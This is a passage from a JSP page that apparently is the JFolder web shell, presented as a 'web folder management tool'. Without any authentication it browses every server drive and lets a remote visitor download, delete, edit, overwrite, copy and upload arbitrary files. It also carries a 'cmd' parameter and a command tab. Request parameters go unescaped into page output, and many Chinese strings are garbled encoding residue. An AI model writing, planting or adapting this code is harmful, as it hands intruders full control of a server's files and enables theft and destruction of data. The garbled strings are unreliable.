||||||
|
}
|
||||||
|
|
||||||
|
public class FileInfo {
|
||||||
|
|
||||||
|
public String name = null, clientFileName = null, fileContentType = null;
|
||||||
|
private byte[] fileContents = null;
|
||||||
|
public File file = null;
|
||||||
|
public StringBuffer sb = new StringBuffer(100);
|
||||||
|
|
||||||
|
public void setFileContents(byte[] aByteArray) {
|
||||||
|
fileContents = new byte[aByteArray.length];
|
||||||
|
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A Class with methods used to process a ServletInputStream
|
||||||
|
public class HttpMultiPartParser {
|
||||||
|
|
||||||
|
private final String lineSeparator = System.getProperty("line.separator", "\n");
|
||||||
|
private final int ONE_MB = 1024 * 1;
|
||||||
|
|
||||||
|
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
|
||||||
|
int clength) throws IllegalArgumentException, IOException {
|
||||||
|
if (is == null) throw new IllegalArgumentException("InputStream");
|
||||||
|
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
|
||||||
|
"\"" + boundary + "\" is an illegal boundary indicator");
|
||||||
|
boundary = "--" + boundary;
|
||||||
|
StringTokenizer stLine = null, stFields = null;
|
||||||
|
FileInfo fileInfo = null;
|
||||||
|
Hashtable dataTable = new Hashtable(5);
|
||||||
|
String line = null, field = null, paramName = null;
|
||||||
|
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
|
||||||
|
boolean isFile = false;
|
||||||
|
if (saveFiles) { // Create the required directory (including parent dirs)
|
||||||
|
File f = new File(saveInDir);
|
||||||
|
f.mkdirs();
|
||||||
|
}
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null || !line.startsWith(boundary)) throw new IOException(
|
||||||
|
"Boundary not found; boundary = " + boundary + ", line = " + line);
|
||||||
|
while (line != null) {
|
||||||
|
if (line == null || !line.startsWith(boundary)) return dataTable;
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
stLine = new StringTokenizer(line, ";\r\n");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
line = stLine.nextToken().toLowerCase();
|
||||||
|
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
|
||||||
|
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
fileInfo = new FileInfo();
|
||||||
|
stFields.nextToken();
|
||||||
|
paramName = stFields.nextToken();
|
||||||
|
isFile = false;
|
||||||
|
if (stLine.hasMoreTokens()) {
|
||||||
|
field = stLine.nextToken();
|
||||||
|
stFields = new StringTokenizer(field, "=\"");
|
||||||
|
if (stFields.countTokens() > 1) {
|
||||||
|
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
|
||||||
|
fileInfo.name = paramName;
|
||||||
|
String value = stFields.nextToken();
|
||||||
|
if (value != null && value.trim().length() > 0) {
|
||||||
|
fileInfo.clientFileName = value;
|
||||||
|
isFile = true;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
line = getLine(is); // Skip "Content-Type:" line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Position to boundary line
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (field.toLowerCase().indexOf("filename") >= 0) {
|
||||||
|
line = getLine(is); // Skip "Content-Type:" line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Position to boundary line
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
boolean skipBlankLine = true;
|
||||||
|
if (isFile) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
if (line.trim().length() < 1) skipBlankLine = false;
|
||||||
|
else {
|
||||||
|
stLine = new StringTokenizer(line, ": ");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in third line");
|
||||||
|
stLine.nextToken(); // Content-Type
|
||||||
|
fileInfo.fileContentType = stLine.nextToken();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (skipBlankLine) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
}
|
||||||
|
if (!isFile) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
dataTable.put(paramName, line);
|
||||||
|
// If parameter is dir, change saveInDir to dir
|
||||||
|
if (paramName.equals("dir")) saveInDir = line;
|
||||||
|
line = getLine(is);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
UplInfo uplInfo = new UplInfo(clength);
|
||||||
|
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
|
||||||
|
OutputStream os = null;
|
||||||
|
String path = null;
|
||||||
|
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
|
||||||
|
fileInfo.clientFileName));
|
||||||
|
else os = new ByteArrayOutputStream(ONE_MB);
|
||||||
|
boolean readingContent = true;
|
||||||
|
byte previousLine[] = new byte[2 * ONE_MB];
|
||||||
|
byte temp[] = null;
|
||||||
|
byte currentLine[] = new byte[2 * ONE_MB];
|
||||||
|
int read, read3;
|
||||||
|
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
while (readingContent) {
|
||||||
|
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
uplInfo.aborted = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (compareBoundary(boundary, currentLine)) {
|
||||||
|
os.write(previousLine, 0, read - 2);
|
||||||
|
line = new String(currentLine, 0, read3);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
os.write(previousLine, 0, read);
|
||||||
|
uplInfo.currSize += read;
|
||||||
|
temp = currentLine;
|
||||||
|
currentLine = previousLine;
|
||||||
|
previousLine = temp;
|
||||||
|
read = read3;
|
||||||
|
}//end else
|
||||||
|
}//end while
|
||||||
|
os.flush();
|
||||||
|
os.close();
|
||||||
|
if (!saveFiles) {
|
||||||
|
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
|
||||||
|
fileInfo.setFileContents(baos.toByteArray());
|
||||||
|
}
|
||||||
|
else fileInfo.file = new File(path);
|
||||||
|
dataTable.put(paramName, fileInfo);
|
||||||
|
uplInfo.currSize = uplInfo.totalSize;
|
||||||
|
}//end try
|
||||||
|
catch (IOException e) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dataTable;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Compares boundary string to byte array
|
||||||
|
*/
|
||||||
|
private boolean compareBoundary(String boundary, byte ba[]) {
|
||||||
|
byte b;
|
||||||
|
if (boundary == null || ba == null) return false;
|
||||||
|
for (int i = 0; i < boundary.length(); i++)
|
||||||
|
if ((byte) boundary.charAt(i) != ba[i]) return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Convenience method to read HTTP header lines */
|
||||||
|
private synchronized String getLine(ServletInputStream sis) throws IOException {
|
||||||
|
byte b[] = new byte[1024];
|
||||||
|
int read = sis.readLine(b, 0, b.length), index;
|
||||||
|
String line = null;
|
||||||
|
if (read != -1) {
|
||||||
|
line = new String(b, 0, read);
|
||||||
|
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
|
||||||
|
}
|
||||||
|
return line;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
|
||||||
|
String path = null;
|
||||||
|
if (dir == null || fileName == null) throw new IllegalArgumentException(
|
||||||
|
"dir or fileName is null");
|
||||||
|
int index = fileName.lastIndexOf('/');
|
||||||
|
String name = null;
|
||||||
|
if (index >= 0) name = fileName.substring(index + 1);
|
||||||
|
else name = fileName;
|
||||||
|
index = name.lastIndexOf('\\');
|
||||||
|
if (index >= 0) fileName = name.substring(index + 1);
|
||||||
|
path = dir + File.separator + fileName;
|
||||||
|
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
|
||||||
|
else return path.replace('/', File.separatorChar);
|
||||||
|
}
|
||||||
|
} //End of class HttpMultiPartParser
|
||||||
|
|
||||||
|
String formatPath(String p)
|
||||||
|
{
|
||||||
|
StringBuffer sb=new StringBuffer();
|
||||||
|
for (int i = 0; i < p.length(); i++)
|
||||||
|
{
|
||||||
|
if(p.charAt(i)=='\\')
|
||||||
|
{
|
||||||
|
sb.append("\\\\");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sb.append(p.charAt(i));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Converts some important chars (int) to the corresponding html string
|
||||||
|
*/
|
||||||
|
static String conv2Html(int i) {
|
||||||
|
if (i == '&') return "&";
|
||||||
|
else if (i == '<') return "<";
|
||||||
|
else if (i == '>') return ">";
|
||||||
|
else if (i == '"') return """;
|
||||||
|
else return "" + (char) i;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Converts a normal string to a html conform string
|
||||||
|
*/
|
||||||
|
static String htmlEncode(String st) {
|
||||||
|
StringBuffer buf = new StringBuffer();
|
||||||
|
for (int i = 0; i < st.length(); i++) {
|
||||||
|
buf.append(conv2Html(st.charAt(i)));
|
||||||
|
}
|
||||||
|
return buf.toString();
|
||||||
|
}
|
||||||
|
String getDrivers()
|
||||||
|
/**
|
||||||
|
Windowsϵͳ<EFBFBD><EFBFBD>ȡ<EFBFBD>ÿ<EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
*/
|
||||||
|
{
|
||||||
|
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
|
||||||
|
File roots[]=File.listRoots();
|
||||||
|
for(int i=0;i<roots.length;i++)
|
||||||
|
{
|
||||||
|
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
|
||||||
|
sb.append(roots[i]+"</a> ");
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
static String convertFileSize(long filesize)
|
||||||
|
{
|
||||||
|
//bug 5.09M <20><>ʾ5.9M
|
||||||
|
String strUnit="Bytes";
|
||||||
|
String strAfterComma="";
|
||||||
|
int intDivisor=1;
|
||||||
|
if(filesize>=1024*1024)
|
||||||
|
{
|
||||||
|
strUnit = "MB";
|
||||||
|
intDivisor=1024*1024;
|
||||||
|
}
|
||||||
|
else if(filesize>=1024)
|
||||||
|
{
|
||||||
|
strUnit = "KB";
|
||||||
|
intDivisor=1024;
|
||||||
|
}
|
||||||
|
if(intDivisor==1) return filesize + " " + strUnit;
|
||||||
|
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
|
||||||
|
if(strAfterComma=="") strAfterComma=".0";
|
||||||
|
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
request.setCharacterEncoding("gb2312");
|
||||||
|
String tabID = request.getParameter("tabID");
|
||||||
|
String strDir = request.getParameter("path");
|
||||||
|
String strAction = request.getParameter("action");
|
||||||
|
String strFile = request.getParameter("file");
|
||||||
|
String strPath = strDir + "\\" + strFile;
|
||||||
|
String strCmd = request.getParameter("cmd");
|
||||||
|
StringBuffer sbEdit=new StringBuffer("");
|
||||||
|
StringBuffer sbDown=new StringBuffer("");
|
||||||
|
StringBuffer sbCopy=new StringBuffer("");
|
||||||
|
StringBuffer sbSaveCopy=new StringBuffer("");
|
||||||
|
StringBuffer sbNewFile=new StringBuffer("");
|
||||||
|
|
||||||
|
if((tabID==null) || tabID.equals(""))
|
||||||
|
{
|
||||||
|
tabID = "1";
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strDir==null||strDir.length()<1)
|
||||||
|
{
|
||||||
|
strDir = request.getRealPath("/");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("down"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
if(f.length()==0)
|
||||||
|
{
|
||||||
|
sbDown.append("<22>ļ<EFBFBD><C4BC><EFBFBD>СΪ 0 <20>ֽڣ<D6BD><DAA3>Ͳ<EFBFBD><CDB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˰<EFBFBD>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
response.setHeader("content-type","text/html; charset=ISO-8859-1");
|
||||||
|
response.setContentType("APPLICATION/OCTET-STREAM");
|
||||||
|
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
|
||||||
|
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
|
||||||
|
out.clearBuffer();
|
||||||
|
int i;
|
||||||
|
while ((i=fileInputStream.read()) != -1)
|
||||||
|
{
|
||||||
|
out.write(i);
|
||||||
|
}
|
||||||
|
fileInputStream.close();
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("del"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
f.delete();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("edit"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
|
||||||
|
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=action value=save >\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||||
|
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
|
||||||
|
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n");
|
||||||
|
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
|
||||||
|
String line="";
|
||||||
|
while((line=br.readLine())!=null)
|
||||||
|
{
|
||||||
|
sbEdit.append(htmlEncode(line)+"\r\n");
|
||||||
|
}
|
||||||
|
sbEdit.append("</textarea>");
|
||||||
|
sbEdit.append("<input type=hidden name=path value="+strDir+">");
|
||||||
|
sbEdit.append("</form>");
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("save"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
|
||||||
|
String strContent=request.getParameter("content");
|
||||||
|
bw.write(strContent);
|
||||||
|
bw.close();
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("copy"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||||
|
sbCopy.append("ԭʼ<D4AD>ļ<EFBFBD><C4BC><EFBFBD> "+strPath+"<p>");
|
||||||
|
sbCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> <input type=text name=file2 size=40 value='"+strDir+"'><p>");
|
||||||
|
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
|
||||||
|
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n");
|
||||||
|
sbCopy.append("</form>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("savecopy"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
String strDesFile=request.getParameter("file2");
|
||||||
|
if(strDesFile==null || strDesFile.equals(""))
|
||||||
|
{
|
||||||
|
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
File f_des=new File(strDesFile);
|
||||||
|
if(f_des.isFile())
|
||||||
|
{
|
||||||
|
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC>Ѵ<EFBFBD><D1B4><EFBFBD>,<2C><><EFBFBD>ܸ<EFBFBD><DCB8>ơ<EFBFBD></font>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String strTmpFile=strDesFile;
|
||||||
|
if(f_des.isDirectory())
|
||||||
|
{
|
||||||
|
if(!strDesFile.endsWith("\\"))
|
||||||
|
{
|
||||||
|
strDesFile=strDesFile+"\\";
|
||||||
|
}
|
||||||
|
strTmpFile=strDesFile+"cqq_"+strFile;
|
||||||
|
}
|
||||||
|
|
||||||
|
File f_des_copy=new File(strTmpFile);
|
||||||
|
FileInputStream in1=new FileInputStream(f);
|
||||||
|
FileOutputStream out1=new FileOutputStream(f_des_copy);
|
||||||
|
byte[] buffer=new byte[1024];
|
||||||
|
int c;
|
||||||
|
while((c=in1.read(buffer))!=-1)
|
||||||
|
{
|
||||||
|
out1.write(buffer,0,c);
|
||||||
|
}
|
||||||
|
in1.close();
|
||||||
|
out1.close();
|
||||||
|
|
||||||
|
sbSaveCopy.append("ԭʼ<D4AD>ļ<EFBFBD> <20><>"+strPath+"<p>");
|
||||||
|
sbSaveCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD> <20><>"+strTmpFile+"<p>");
|
||||||
|
sbSaveCopy.append("<font color=red><3E><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=<3D><><EFBFBD><EFBFBD>>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("newFile"))
|
||||||
|
{
|
||||||
|
String strF=request.getParameter("fileName");
|
||||||
|
String strType1=request.getParameter("btnNewFile");
|
||||||
|
String strType2=request.getParameter("btnNewDir");
|
||||||
|
String strType="";
|
||||||
|
if(strType1==null)
|
||||||
|
{
|
||||||
|
strType="Dir";
|
||||||
|
}
|
||||||
|
else if(strType2==null)
|
||||||
|
{
|
||||||
|
strType="File";
|
||||||
|
}
|
||||||
|
if(!strType.equals("") && !(strF==null || strF.equals("")))
|
||||||
|
{
|
||||||
|
File f_new=new File(strF);
|
||||||
|
if(strType.equals("File") && !f_new.createNewFile())
|
||||||
|
sbNewFile.append(strF+" <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
if(strType.equals("Dir") && !f_new.mkdirs())
|
||||||
|
sbNewFile.append(strF+" Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
|
||||||
|
{
|
||||||
|
String tempdir=".";
|
||||||
|
boolean error=false;
|
||||||
|
response.setContentType("text/html");
|
||||||
|
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
HttpMultiPartParser parser = new HttpMultiPartParser();
|
||||||
|
|
||||||
|
int bstart = request.getContentType().lastIndexOf("oundary=");
|
||||||
|
String bound = request.getContentType().substring(bstart + 8);
|
||||||
|
int clength = request.getContentLength();
|
||||||
|
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
|
||||||
|
if (ht.get("cqqUploadFile") != null)
|
||||||
|
{
|
||||||
|
|
||||||
|
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
|
||||||
|
File f1 = fi.file;
|
||||||
|
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
|
||||||
|
if (info != null && info.aborted)
|
||||||
|
{
|
||||||
|
f1.delete();
|
||||||
|
request.setAttribute("error", "Upload aborted");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String path = (String) ht.get("path");
|
||||||
|
if(path!=null && !path.endsWith("\\"))
|
||||||
|
path = path + "\\";
|
||||||
|
if (!f1.renameTo(new File(path + f1.getName())))
|
||||||
|
{
|
||||||
|
request.setAttribute("error", "Cannot upload file.");
|
||||||
|
error = true;
|
||||||
|
f1.delete();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<style type="text/css">
|
||||||
|
td,select,input,body{font-size:9pt;}
|
||||||
|
A { TEXT-DECORATION: none }
|
||||||
|
|
||||||
|
#tablist{
|
||||||
|
padding: 5px 0;
|
||||||
|
margin-left: 0;
|
||||||
|
margin-bottom: 0;
|
||||||
|
margin-top: 0.1em;
|
||||||
|
font:9pt;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li{
|
||||||
|
list-style: none;
|
||||||
|
display: inline;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li a{
|
||||||
|
padding: 3px 0.5em;
|
||||||
|
margin-left: 3px;
|
||||||
|
border: 1px solid ;
|
||||||
|
background: F6F6F6;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li a:link, #tablist li a:visited{
|
||||||
|
color: navy;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li a.current{
|
||||||
|
background: #EAEAFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tabcontentcontainer{
|
||||||
|
width: 100%;
|
||||||
|
padding: 5px;
|
||||||
|
border: 1px solid black;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tabcontent{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<script type="text/javascript">
|
||||||
|
|
||||||
|
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
|
||||||
|
|
||||||
|
////////Stop editting////////////////
|
||||||
|
|
||||||
|
function cascadedstyle(el, cssproperty, csspropertyNS){
|
||||||
|
if (el.currentStyle)
|
||||||
|
return el.currentStyle[cssproperty]
|
||||||
|
else if (window.getComputedStyle){
|
||||||
|
var elstyle=window.getComputedStyle(el, "")
|
||||||
|
return elstyle.getPropertyValue(csspropertyNS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var previoustab=""
|
||||||
|
|
||||||
|
function expandcontent(cid, aobject){
|
||||||
|
if (document.getElementById){
|
||||||
|
highlighttab(aobject)
|
||||||
|
if (previoustab!="")
|
||||||
|
document.getElementById(previoustab).style.display="none"
|
||||||
|
document.getElementById(cid).style.display="block"
|
||||||
|
previoustab=cid
|
||||||
|
if (aobject.blur)
|
||||||
|
aobject.blur()
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
else
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
function highlighttab(aobject){
|
||||||
|
if (typeof tabobjlinks=="undefined")
|
||||||
|
collecttablinks()
|
||||||
|
for (i=0; i<tabobjlinks.length; i++)
|
||||||
|
tabobjlinks[i].style.backgroundColor=initTabcolor
|
||||||
|
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
|
||||||
|
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
|
||||||
|
}
|
||||||
|
|
||||||
|
function collecttablinks(){
|
||||||
|
var tabobj=document.getElementById("tablist")
|
||||||
|
tabobjlinks=tabobj.getElementsByTagName("A")
|
||||||
|
}
|
||||||
|
|
||||||
|
function do_onload(){
|
||||||
|
collecttablinks()
|
||||||
|
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
|
||||||
|
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
|
||||||
|
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
|
||||||
|
}
|
||||||
|
|
||||||
|
if (window.addEventListener)
|
||||||
|
window.addEventListener("load", do_onload, false)
|
||||||
|
else if (window.attachEvent)
|
||||||
|
window.attachEvent("onload", do_onload)
|
||||||
|
else if (document.getElementById)
|
||||||
|
window.onload=do_onload
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</script>
|
||||||
|
<script language="javascript">
|
||||||
|
|
||||||
|
function doForm(action,path,file,cmd,tab,content)
|
||||||
|
{
|
||||||
|
document.frmCqq.action.value=action;
|
||||||
|
document.frmCqq.path.value=path;
|
||||||
|
document.frmCqq.file.value=file;
|
||||||
|
document.frmCqq.cmd.value=cmd;
|
||||||
|
document.frmCqq.tabID.value=tab;
|
||||||
|
document.frmCqq.content.value=content;
|
||||||
|
if(action=="del")
|
||||||
|
{
|
||||||
|
if(confirm("ȷ<><C8B7>Ҫɾ<D2AA><C9BE><EFBFBD>ļ<EFBFBD> "+file+" <20><><EFBFBD><EFBFBD>"))
|
||||||
|
document.frmCqq.submit();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
document.frmCqq.submit();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<title>JFoler 0.9 ---A jsp based web folder management tool by Steven Cee</title>
|
||||||
|
<head>
|
||||||
|
|
||||||
|
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<form name="frmCqq" method="post" action="">
|
||||||
|
<input type="hidden" name="action" value="">
|
||||||
|
<input type="hidden" name="path" value="">
|
||||||
|
<input type="hidden" name="file" value="">
|
||||||
|
<input type="hidden" name="cmd" value="">
|
||||||
|
<input type="hidden" name="tabID" value="2">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<!--Top Menu Started-->
|
||||||
|
<ul id="tablist">
|
||||||
|
<li><a href="http://www.smallrain.net" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
|
||||||
|
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
|
||||||
|
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
|
||||||
|
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
|
||||||
|
<%=authorInfo[languageNo]%>
|
||||||
|
</ul>
|
||||||
|
<!--Top Menu End-->
|
||||||
|
|
||||||
|
|
||||||
|
<%
|
||||||
|
StringBuffer sbFolder=new StringBuffer("");
|
||||||
|
StringBuffer sbFile=new StringBuffer("");
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File objFile = new File(strDir);
|
||||||
|
File list[] = objFile.listFiles();
|
||||||
|
if(objFile.getAbsolutePath().length()>3)
|
||||||
|
{
|
||||||
|
sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||||
|
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
for(int i=0;i<list.length;i++)
|
||||||
|
{
|
||||||
|
if(list[i].isDirectory())
|
||||||
|
{
|
||||||
|
sbFolder.append("<tr><td > </td><td>");
|
||||||
|
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||||
|
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String strLen="";
|
||||||
|
String strDT="";
|
||||||
|
long lFile=0;
|
||||||
|
lFile=list[i].length();
|
||||||
|
strLen = convertFileSize(lFile);
|
||||||
|
Date dt=new Date(list[i].lastModified());
|
||||||
|
strDT=dt.toLocaleString();
|
||||||
|
sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
|
||||||
|
sbFile.append(""+list[i].getName());
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(""+strLen);
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(""+strDT);
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
|
||||||
|
